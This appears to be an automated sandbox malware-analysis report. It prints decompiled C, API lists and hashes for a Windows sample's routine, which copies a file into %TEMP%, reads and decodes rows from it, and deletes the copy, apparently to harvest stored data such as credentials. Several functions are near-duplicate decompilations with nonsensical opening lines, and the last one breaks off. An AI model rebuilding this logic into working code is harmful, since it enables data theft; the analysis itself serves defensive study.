(d0, xrefs: 00401FD4, 00401FFE, 00402018

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: (d0$[0
API String ID: 2227675388-3797594004
Opcode ID: d8f5647cf8a089b48d1854b84c43150713032a10bc8b176a9b47e677c5382ac7
Instruction ID: 60aaef5d71d1198278099ac2c9ce8b9a20775f5f033974ed56173d7c89f55220
Opcode Fuzzy Hash: d8f5647cf8a089b48d1854b84c43150713032a10bc8b176a9b47e677c5382ac7
Instruction Fuzzy Hash: DA41CDB1A813019FD714CF29DDC56AABBA1EB59318B24C27FD505E77E1E378A841CB08

Uniqueness

Uniqueness Score: 100.00%

Function 004112B8, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117
fileCOMMON

C-Code - Quality: 44%

			E004112B8(signed int __eax, void* __ebx, intOrPtr* __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v117;
				signed int _t66;
				signed int _t67;
				WCHAR* _t87;
				intOrPtr* _t102;
				intOrPtr _t104;
				intOrPtr* _t106;
				intOrPtr* _t110;
				intOrPtr* _t138;
				intOrPtr* _t142;
				intOrPtr _t144;
				intOrPtr* _t146;
				void* _t148;
				intOrPtr* _t150;
				intOrPtr* _t154;
				void* _t156;
				intOrPtr* _t161;
				intOrPtr* _t167;
				intOrPtr* _t173;
				void* _t175;
				intOrPtr* _t179;
				void* _t183;
				intOrPtr _t204;
				intOrPtr _t206;
				void* _t211;
				intOrPtr _t217;
				intOrPtr _t221;
				intOrPtr _t222;
				void* _t223;
				void* _t224;

				_t219 = __esi;
				_t181 = __ebx;
				_pop(_t222);
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__edx)) =  *((intOrPtr*)(__edx)) + __eax;
				 *__eax =  *__eax + __eax;
				 *__ecx =  *__ecx + __ecx;
				 *__eax =  *__eax | __eax;
				 *__eax =  *__eax + __eax;
				_t66 = __eax;
				 *_t66 =  *_t66 + _t66;
				_t67 = _t66 | 0x00000a00;
				 *_t67 =  *_t67 + _t67;
				_v117 = _v117 + __edx;
				_t221 = _t222;
				_t183 = 0xa;
				do {
					_push(0);
					_push(0);
					_t183 = _t183 - 1;
					_t232 = _t183;
				} while (_t183 != 0);
				_push(_t183);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t67;
				E00404150( &_v8);
				_push(_t221);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t222;
				E00403BDC( &_v28);
				_push(_t221);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t222;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t232);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t232);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t181,  &_v40, _t232);
				E004062FC(L"%TEMP%",  &_v64, _t232);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t181,  &_v44, _t232);
				_t87 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t87, 0xffffffff);
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t181, _t183,  &_v36, _t219, _t232);
				E00403D88( &_v72, _v36);
				if(E0040776C(_v72, _t181, _t183) != 0) {
					_t102 =  *0x41b140; // 0x41ca20
					_t104 =  *((intOrPtr*)( *_t102))(E00403990(_v36),  &_v16);
					_t223 = _t222 + 8;
					__eflags = _t104;
					if(_t104 == 0) {
						_t138 =  *0x41b390; // 0x41c934
						_t142 =  *0x41b2d4; // 0x41ca28
						_t144 =  *((intOrPtr*)( *_t142))(_v16, E00403990( *_t138), 0xffffffff,  &_v20,  &_v24);
						_t224 = _t223 + 0x14;
						__eflags = _t144;
						if(_t144 == 0) {
							while(1) {
								_t146 =  *0x41b384; // 0x41ca2c
								_t148 =  *((intOrPtr*)( *_t146))(_v20);
								__eflags = _t148 - 0x64;
								if(_t148 != 0x64) {
									goto L12;
								}
								_t150 =  *0x41b414; // 0x41ca34
								_t154 =  *0x41b1dc; // 0x41ca30
								_t156 =  *((intOrPtr*)( *_t154))(_v20, 3,  *((intOrPtr*)( *_t150))(_v20, 3));
								_pop(_t211);
								E0040A610(_t156,  &_v48, _t211);
								E00403D88( &_v76, _v48);
								_t161 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t161))(_v20, 0, 0x4115ec, _v76, _v28));
								_t167 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t167))(_v20, 1, 0x4115ec, _v80));
								_t173 =  *0x41b1dc; // 0x41ca30
								_t175 =  *((intOrPtr*)( *_t173))(_v20, 2, 0x4115f8, _v84);
								_t224 = _t224 + 0x28;
								E00403CF4( &_v88, _t175);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t179 =  *0x41b1cc; // 0x41b0b4
								 *_t179 =  *_t179 + 1;
								__eflags =  *_t179;
							}
						}
					}
					L12:
					_t106 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t106))(_v20);
					_t110 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t110))(_v16);
					_pop(_t204);
					 *[fs:eax] = _t204;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t217);
					 *[fs:eax] = _t217;
				}
				_pop(_t206);
				 *[fs:eax] = _t206;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112b8
0x004112b8
0x004112b8
0x004112b9
0x004112bb
0x004112bd
0x004112bf
0x004112c0
0x004112c2
0x004112c4
0x004112c6
0x004112c8
0x004112cd
0x004112cf
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

Part of subcall function 0040A610: LocalFree.KERNEL32(?), ref: 0040A656

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

GetTickCount.KERNEL32(00000000,00411526,?,00000000,004115AB,?,00000000,?,00000000,00000009,00000000,00000000,?,0041180D,0041C91C,00411988), ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00411391
DeleteFileW.KERNEL32(00000000), ref: 00411544

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

.tmp, xrefs: 00411330
%TEMP%, xrefs: 00411350

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465E7790FreeLocalTick
String ID: %TEMP%$.tmp
API String ID: 2516134899-3650661790
Opcode ID: dfa750a07d6b472cd75f50a97ce69af4c84a8d84dfcfe63392ef10f97b45f9bb
Instruction ID: 1a8257de2d60cbb0d3980c7fc3a6a2139cbe43d2aa84506a9aa105e6b37338cb
Opcode Fuzzy Hash: dfa750a07d6b472cd75f50a97ce69af4c84a8d84dfcfe63392ef10f97b45f9bb
Instruction Fuzzy Hash: 1B414231904248AFDB01FFA2D852ACDBBB9EF45309F51447BF500B76A2D63CAE058B25

Uniqueness

Uniqueness Score: 0.83%

Function 004112C0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113
fileCOMMON

C-Code - Quality: 44%

			E004112C0(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v117;
				signed int _t66;
				signed int _t67;
				WCHAR* _t87;
				intOrPtr* _t102;
				intOrPtr _t104;
				intOrPtr* _t106;
				intOrPtr* _t110;
				intOrPtr* _t138;
				intOrPtr* _t142;
				intOrPtr _t144;
				intOrPtr* _t146;
				void* _t148;
				intOrPtr* _t150;
				intOrPtr* _t154;
				void* _t156;
				intOrPtr* _t161;
				intOrPtr* _t167;
				intOrPtr* _t173;
				void* _t175;
				intOrPtr* _t179;
				void* _t182;
				intOrPtr _t203;
				intOrPtr _t205;
				void* _t210;
				intOrPtr _t216;
				intOrPtr _t220;
				intOrPtr _t221;
				void* _t222;
				void* _t223;

				_t218 = __esi;
				_t181 = __ebx;
				 *__eax =  *__eax | __eax;
				 *__eax =  *__eax + __eax;
				_t66 = __eax;
				 *_t66 =  *_t66 + _t66;
				_t67 = _t66 | 0x00000a00;
				 *_t67 =  *_t67 + _t67;
				_v117 = _v117 + __edx;
				_t220 = _t221;
				_t182 = 0xa;
				do {
					_push(0);
					_push(0);
					_t182 = _t182 - 1;
					_t230 = _t182;
				} while (_t182 != 0);
				_push(_t182);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t67;
				E00404150( &_v8);
				_push(_t220);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t221;
				E00403BDC( &_v28);
				_push(_t220);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t221;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t230);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t230);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t181,  &_v40, _t230);
				E004062FC(L"%TEMP%",  &_v64, _t230);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t181,  &_v44, _t230);
				_t87 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t87, 0xffffffff);
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t181, _t182,  &_v36, _t218, _t230);
				E00403D88( &_v72, _v36);
				if(E0040776C(_v72, _t181, _t182) != 0) {
					_t102 =  *0x41b140; // 0x41ca20
					_t104 =  *((intOrPtr*)( *_t102))(E00403990(_v36),  &_v16);
					_t222 = _t221 + 8;
					__eflags = _t104;
					if(_t104 == 0) {
						_t138 =  *0x41b390; // 0x41c934
						_t142 =  *0x41b2d4; // 0x41ca28
						_t144 =  *((intOrPtr*)( *_t142))(_v16, E00403990( *_t138), 0xffffffff,  &_v20,  &_v24);
						_t223 = _t222 + 0x14;
						__eflags = _t144;
						if(_t144 == 0) {
							while(1) {
								_t146 =  *0x41b384; // 0x41ca2c
								_t148 =  *((intOrPtr*)( *_t146))(_v20);
								__eflags = _t148 - 0x64;
								if(_t148 != 0x64) {
									goto L11;
								}
								_t150 =  *0x41b414; // 0x41ca34
								_t154 =  *0x41b1dc; // 0x41ca30
								_t156 =  *((intOrPtr*)( *_t154))(_v20, 3,  *((intOrPtr*)( *_t150))(_v20, 3));
								_pop(_t210);
								E0040A610(_t156,  &_v48, _t210);
								E00403D88( &_v76, _v48);
								_t161 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t161))(_v20, 0, 0x4115ec, _v76, _v28));
								_t167 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t167))(_v20, 1, 0x4115ec, _v80));
								_t173 =  *0x41b1dc; // 0x41ca30
								_t175 =  *((intOrPtr*)( *_t173))(_v20, 2, 0x4115f8, _v84);
								_t223 = _t223 + 0x28;
								E00403CF4( &_v88, _t175);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t179 =  *0x41b1cc; // 0x41b0b4
								 *_t179 =  *_t179 + 1;
								__eflags =  *_t179;
							}
						}
					}
					L11:
					_t106 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t106))(_v20);
					_t110 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t110))(_v16);
					_pop(_t203);
					 *[fs:eax] = _t203;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t216);
					 *[fs:eax] = _t216;
				}
				_pop(_t205);
				 *[fs:eax] = _t205;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112c0
0x004112c0
0x004112c0
0x004112c2
0x004112c4
0x004112c6
0x004112c8
0x004112cd
0x004112cf
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

Part of subcall function 0040A610: LocalFree.KERNEL32(?), ref: 0040A656

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

GetTickCount.KERNEL32(00000000,00411526,?,00000000,004115AB,?,00000000,?,00000000,00000009,00000000,00000000,?,0041180D,0041C91C,00411988), ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00411391
DeleteFileW.KERNEL32(00000000), ref: 00411544

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

.tmp, xrefs: 00411330
%TEMP%, xrefs: 00411350

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465E7790FreeLocalTick
String ID: %TEMP%$.tmp
API String ID: 2516134899-3650661790
Opcode ID: 1a1e78d5433c9708098c6bc8c205f43e83ad122134c42980d47e7c9e79c26488
Instruction ID: e7bb21d7818b23da26e47d5e8aee7b9a5bdfdedc2a4558b21973e4c2dc324f20
Opcode Fuzzy Hash: 1a1e78d5433c9708098c6bc8c205f43e83ad122134c42980d47e7c9e79c26488
Instruction Fuzzy Hash: 01413571904108AFDB01FFA2D842ACDBBB9EF45309F51447BF505B36A2D63CAE068A24

Uniqueness

Uniqueness Score: 0.83%

Function 004112C8, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109
fileCOMMON

C-Code - Quality: 43%

			E004112C8(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v117;
				signed int _t66;
				WCHAR* _t86;
				intOrPtr* _t101;
				intOrPtr _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				intOrPtr* _t137;
				intOrPtr* _t141;
				intOrPtr _t143;
				intOrPtr* _t145;
				void* _t147;
				intOrPtr* _t149;
				intOrPtr* _t153;
				void* _t155;
				intOrPtr* _t160;
				intOrPtr* _t166;
				intOrPtr* _t172;
				void* _t174;
				intOrPtr* _t178;
				void* _t181;
				intOrPtr _t202;
				intOrPtr _t204;
				void* _t209;
				intOrPtr _t215;
				intOrPtr _t219;
				intOrPtr _t220;
				void* _t221;
				void* _t222;

				_t217 = __esi;
				_t180 = __ebx;
				_t66 = __eax | 0x00000a00;
				 *_t66 =  *_t66 + _t66;
				_v117 = _v117 + __edx;
				_t219 = _t220;
				_t181 = 0xa;
				do {
					_push(0);
					_push(0);
					_t181 = _t181 - 1;
					_t228 = _t181;
				} while (_t181 != 0);
				_push(_t181);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t66;
				E00404150( &_v8);
				_push(_t219);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t220;
				E00403BDC( &_v28);
				_push(_t219);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t220;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t228);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t228);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t180,  &_v40, _t228);
				E004062FC(L"%TEMP%",  &_v64, _t228);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t180,  &_v44, _t228);
				_t86 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t86, 0xffffffff);
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t180, _t181,  &_v36, _t217, _t228);
				E00403D88( &_v72, _v36);
				if(E0040776C(_v72, _t180, _t181) != 0) {
					_t101 =  *0x41b140; // 0x41ca20
					_t103 =  *((intOrPtr*)( *_t101))(E00403990(_v36),  &_v16);
					_t221 = _t220 + 8;
					__eflags = _t103;
					if(_t103 == 0) {
						_t137 =  *0x41b390; // 0x41c934
						_t141 =  *0x41b2d4; // 0x41ca28
						_t143 =  *((intOrPtr*)( *_t141))(_v16, E00403990( *_t137), 0xffffffff,  &_v20,  &_v24);
						_t222 = _t221 + 0x14;
						__eflags = _t143;
						if(_t143 == 0) {
							while(1) {
								_t145 =  *0x41b384; // 0x41ca2c
								_t147 =  *((intOrPtr*)( *_t145))(_v20);
								__eflags = _t147 - 0x64;
								if(_t147 != 0x64) {
									goto L10;
								}
								_t149 =  *0x41b414; // 0x41ca34
								_t153 =  *0x41b1dc; // 0x41ca30
								_t155 =  *((intOrPtr*)( *_t153))(_v20, 3,  *((intOrPtr*)( *_t149))(_v20, 3));
								_pop(_t209);
								E0040A610(_t155,  &_v48, _t209);
								E00403D88( &_v76, _v48);
								_t160 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t160))(_v20, 0, 0x4115ec, _v76, _v28));
								_t166 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t166))(_v20, 1, 0x4115ec, _v80));
								_t172 =  *0x41b1dc; // 0x41ca30
								_t174 =  *((intOrPtr*)( *_t172))(_v20, 2, 0x4115f8, _v84);
								_t222 = _t222 + 0x28;
								E00403CF4( &_v88, _t174);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t178 =  *0x41b1cc; // 0x41b0b4
								 *_t178 =  *_t178 + 1;
								__eflags =  *_t178;
							}
						}
					}
					L10:
					_t105 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t105))(_v20);
					_t109 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t109))(_v16);
					_pop(_t202);
					 *[fs:eax] = _t202;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t215);
					 *[fs:eax] = _t215;
				}
				_pop(_t204);
				 *[fs:eax] = _t204;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112c8
0x004112c8
0x004112c8
0x004112cd
0x004112cf
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

Part of subcall function 0040A610: LocalFree.KERNEL32(?), ref: 0040A656

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

GetTickCount.KERNEL32(00000000,00411526,?,00000000,004115AB,?,00000000,?,00000000,00000009,00000000,00000000,?,0041180D,0041C91C,00411988), ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00411391
DeleteFileW.KERNEL32(00000000), ref: 00411544

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

.tmp, xrefs: 00411330
%TEMP%, xrefs: 00411350

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465E7790FreeLocalTick
String ID: %TEMP%$.tmp
API String ID: 2516134899-3650661790
Opcode ID: 0f6dc28d25e31742a3d83fd8ff35710f0af691a996f022fb8dd6efbb7f893fac
Instruction ID: 8afa6536208aa5b6f57682845dada9e2518f3e9b5e83f9eef4c4991f65faefc0
Opcode Fuzzy Hash: 0f6dc28d25e31742a3d83fd8ff35710f0af691a996f022fb8dd6efbb7f893fac
Instruction Fuzzy Hash: 7F414631900108AFDB01FF92D842ACDFBB9EF44309F50447BF504B36A2D63CAE058A14

Uniqueness

Uniqueness Score: 0.83%

Function 0041102C, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103
fileCOMMON

C-Code - Quality: 45%

			E0041102C(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				signed int _t53;
				signed int _t54;
				WCHAR* _t74;
				intOrPtr* _t89;
				void* _t91;
				intOrPtr* _t93;
				intOrPtr* _t97;
				intOrPtr* _t121;
				intOrPtr* _t125;
				void* _t127;
				intOrPtr* _t129;
				void* _t131;
				intOrPtr* _t133;
				intOrPtr* _t139;
				void* _t141;
				void* _t147;
				intOrPtr _t167;
				intOrPtr _t169;
				intOrPtr _t176;
				intOrPtr _t180;
				intOrPtr _t181;
				void* _t182;
				void* _t183;

				_t178 = __esi;
				_t146 = __ebx;
				_t53 = __eax +  *__eax;
				 *_t53 =  *_t53 + _t53;
				_t54 = _t53 | 0x5500000a;
				_t180 = _t181;
				_t147 = 9;
				do {
					_push(0);
					_push(0);
					_t147 = _t147 - 1;
					_t187 = _t147;
				} while (_t147 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t54;
				E00404150( &_v8);
				_push(_t180);
				_push(0x411282);
				_push( *[fs:eax]);
				 *[fs:eax] = _t181;
				E00403BDC( &_v28);
				_push(_t180);
				_push(0x411212);
				_push( *[fs:eax]);
				 *[fs:eax] = _t181;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t187);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t187);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t146,  &_v40, _t187);
				E004062FC(L"%TEMP%",  &_v60, _t187);
				_push(_v60);
				_push(E004112B8);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t146,  &_v44, _t187);
				_t74 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t74, 0xffffffff);
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t146, _t147,  &_v36, _t178, _t187);
				E00403D88( &_v68, _v36);
				if(E0040776C(_v68, _t146, _t147) != 0) {
					_t89 =  *0x41b140; // 0x41ca20
					_t91 =  *((intOrPtr*)( *_t89))(E00403990(_v36),  &_v16);
					_t182 = _t181 + 8;
					__eflags = _t91;
					if(_t91 == 0) {
						_t121 =  *0x41b330; // 0x41c930
						_t125 =  *0x41b2d4; // 0x41ca28
